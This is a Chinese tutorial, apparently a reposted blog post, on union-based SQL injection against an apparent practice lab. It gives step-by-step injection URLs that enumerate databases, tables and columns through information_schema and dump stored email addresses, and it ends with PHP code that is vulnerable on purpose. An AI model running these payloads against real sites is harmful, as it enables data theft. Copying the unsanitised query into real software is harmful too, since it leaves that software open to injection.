SQL注入基础:1.union注入

SQL注入基础:1.union注入

1.1 union注入攻击

1)判断是否存在注入

URL:http://www.tianchi.com/web/union.php?id=1

URL:http://www.tianchi.com/web/union.php?id=1′

URL:http://www.tianchi.com/web/union.php?id=1 and 1=1

URL:http://www.tianchi.com/web/union.php?id=1 and 1=2

发现可能存在SQL注入漏洞。

2)查询字段数量

URL:http://www.tianchi.com/web/union.php?id=1 order by 3

当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

《SQL注入基础:1.union注入》

3)查询SQL语句插入位置

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,2,3

可以看到2,3位置可以插入SQL语句。

《SQL注入基础:1.union注入》

4)获取数据库库名

(1)获取当前数据库库名

2位置修改为:database()

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

《SQL注入基础:1.union注入》

(2)获取所有数据库库名

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

《SQL注入基础:1.union注入》

(3)逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

《SQL注入基础:1.union注入》

修改limit中第一个数字,如获取第二个库名:limit 1,1。

数据库库名:information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5)获取数据库表名

(1)方法一:

获取数据库表名,这种方式一次获取一个表名,2位置修改为:

select table_name from information_schema.tables where table_schema=’security’ limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),3

修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

表名是:emails,referers,uagents,users。

《SQL注入基础:1.union注入》

(2)方法二:

一次性获取当前数据库所有表名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema=’security’

《SQL注入基础:1.union注入》

6)获取字段名

(1)方法一:

获取字段名,以emails表为例,2位置修改为:

select column_name from information_schema.columns where table_schema=’security’ and table_name=’emails’ limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’emails’ limit 0,1),3

修改limit中第一个数字,如获取第二个字段名:limit 1,1

字段名:id,email_id。

《SQL注入基础:1.union注入》

(2)方法二:

以emails表为例,一次性获取所有字段名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’emails’

《SQL注入基础:1.union注入》

7)获取数据

(1)方法一:

获取数据,以emails表为例,2,3位置分别修改为:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

获取emails表第一,第二条数据:

       1 : Dumb@dhakkan.com

       2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

《SQL注入基础:1.union注入》

(2)方法二:

以emails表为例,一次性获取所有数据:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),id,email_id),3 from security.emails

《SQL注入基础:1.union注入》

1.2 union注入PHP代码

<?php
$con=mysqli_connect("localhost","root","root","security");
mysqli_set_charset($con,'utf8');
if(!$con){
	echo "Connect failed : ".mysqli_connect_error();
}

$id=$_GET['id'];
$result=mysqli_query($con,"select * from users where id=".$id );
$row=mysqli_fetch_array($result);
echo $row['username']." : ".$row['password'];
?>

 

    原文作者:SQL
    原文地址: https://blog.csdn.net/SouthWind0/article/details/82913183
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞